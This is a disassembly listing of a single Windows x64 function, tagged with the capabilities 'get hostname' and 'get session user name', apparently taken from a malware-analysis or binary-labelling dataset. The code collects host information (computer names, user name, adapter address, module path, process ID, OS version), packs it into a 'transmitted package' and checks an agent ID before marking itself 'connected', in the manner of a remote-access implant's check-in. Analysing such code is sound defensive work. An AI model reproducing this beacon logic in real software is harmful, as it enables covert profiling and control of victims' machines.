Function at 0x140008960
Capabilities:
Get hostname
Get session user name

Disassembly:
push r15
xor eax, eax
mov ecx, 0x47
xor r8d, r8d
push r14
xor r9d, r9d
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x168
lea rdi, [rsp + 0x44]
mov qword [rsp + 0x30], r8
lea rsi, [rsp + 0x38]
rep stosd dword [rdi], eax
mov ecx, 0x100
mov qword [rsp + 0x38], r9
lea r14, [rsp + 0x44]
call fcn.1400085d0
mov rbx, qword [0x14000bb60]
mov rcx, rax
mov qword [rsp + 0x28], rax
mov edx, dword [rbx]
call fcn.1400084e0
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov r8, rsi
call rbp
mov r12, qword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
jne 0x1400089f7
mov rdx, qword [rsp + 0x38]
mov ecx, 0x40
call r12
mov qword [rsp + 0x30], rax
mov rdx, rax
test rax, rax
je 0x1400089f7
mov r8, rsi
xor ecx, ecx
call rbp
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call fcn.140008470
mov rcx, qword [rsp + 0x38]
xor eax, eax
mov rdi, qword [rsp + 0x30]
mov r13, qword [sym.imp.KERNEL32.dll_LocalFree]
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x30]
call r13
xor ecx, ecx
mov edx, 0x104
mov qword [rsp + 0x38], 0x104
mov qword [rsp + 0x30], rcx
mov ecx, 0x40
call r12
mov qword [rsp + 0x30], rax
mov rcx, rax
test rax, rax
je 0x140008a5b
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov rcx, qword [rsp + 0x28]
mov rdx, rdi
mov r8, rax
call fcn.140008470
mov rcx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x30]
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x30]
call r13
xor edx, edx
mov r8, rsi
mov ecx, 2
mov qword [rsp + 0x30], rdx
xor edx, edx
call rbp
test eax, eax
jne 0x140008ac9
mov rdx, qword [rsp + 0x38]
mov ecx, 0x40
call r12
mov qword [rsp + 0x30], rax
mov rdx, rax
test rax, rax
je 0x140008ac9
mov r8, rsi
mov ecx, 2
call rbp
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
xor r15d, r15d
mov rcx, qword [rsp + 0x28]
call fcn.140008470
mov rcx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x30]
mov eax, r15d
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x30]
call r13
xor eax, eax
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x30], rax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov rdx, qword [rsp + 0x38]
mov ecx, 0x40
call r12
mov rbp, rax
test rax, rax
je 0x140008b60
mov rdx, rsi
mov rcx, rax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x140008b60
lea rdi, [rbp + 0x1c0]
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov rcx, qword [rsp + 0x28]
mov rdx, rdi
mov rdi, rbp
mov r8, rax
call fcn.140008470
mov rcx, qword [rsp + 0x38]
mov eax, r15d
rep stosb byte [rdi], al
mov rcx, rbp
call r13
jmp 0x140008b6c
mov rcx, qword [rsp + 0x28]
xor edx, edx
call fcn.1400084e0
mov edx, 0x104
mov ecx, 0x40
mov qword [rsp + 0x38], 0x104
call r12
mov qword [rsp + 0x30], rax
mov rdx, rax
test rax, rax
je 0x140008bb5
mov r8d, dword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov r8d, eax
mov qword [rsp + 0x38], r8
call fcn.140008470
jmp 0x140008bc1
mov rcx, qword [rsp + 0x28]
xor edx, edx
call fcn.1400084e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [rsp + 0x28]
mov rdi, r14
xor ebp, ebp
mov edx, eax
lea r12, str.Data:___d___
call fcn.1400084e0
mov rcx, qword [rsp + 0x28]
xor edx, edx
call fcn.1400084e0
movzx edx, word [rbx + 4]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov rcx, qword [rsp + 0x28]
xor edx, edx
call fcn.1400084e0
xor eax, eax
mov ecx, 0x47
rep stosd dword [rdi], eax
mov rcx, r14
lea rdi, str._02x
mov dword [rsp + 0x44], 0x11c
call qword [rbx + 0x18]
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
movzx edx, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
movzx edx, word [rsp + 0x158]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rbx + 8]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rbx + 0x20]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rbx + 0x24]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rbx + 0x40]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov edx, dword [rbx + 0x48]
mov rcx, qword [rsp + 0x28]
call fcn.1400084e0
mov rdx, qword [rsp + 0x38]
mov rcx, r12
call fcn.140009180
cmp rbp, qword [rsp + 0x38]
jae 0x140008cdc
mov rax, qword [rsp + 0x30]
mov rcx, rdi
movzx edx, byte [rax + rbp]
inc rbp
call fcn.140009180
jmp 0x140008cbf
lea rdi, [0x14000b314]
mov rcx, rdi
call sub.msvcrt.dll_puts
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x30]
mov r8, rsi
call fcn.140008710
test eax, eax
jne 0x140008d08
xor eax, eax
jmp 0x140008d8d
lea rcx, str.TRANSMITTED_PACKAGE__n
xor esi, esi
lea rbp, str._02x
call fcn.140009180
mov rdx, qword [rsp + 0x38]
mov rcx, r12
call fcn.140009180
cmp rsi, qword [rsp + 0x38]
jae 0x140008d47
mov rax, qword [rsp + 0x30]
mov rcx, rbp
movzx edx, byte [rax + rsi]
inc rsi
call fcn.140009180
jmp 0x140008d2a
mov rcx, rdi
call sub.msvcrt.dll_puts
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x140008d01
mov r8d, dword [rbx]
mov edx, dword [rax]
lea rcx, str.Agent____x_:__x_n
call fcn.140009180
mov rax, qword [rsp + 0x30]
mov eax, dword [rax]
cmp dword [rbx], eax
jne 0x140008d01
lea rcx, str.CONNECTED__n
call fcn.140009180
mov dword [rbx + 0xc], 1
mov eax, 1
add rsp, 0x168
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret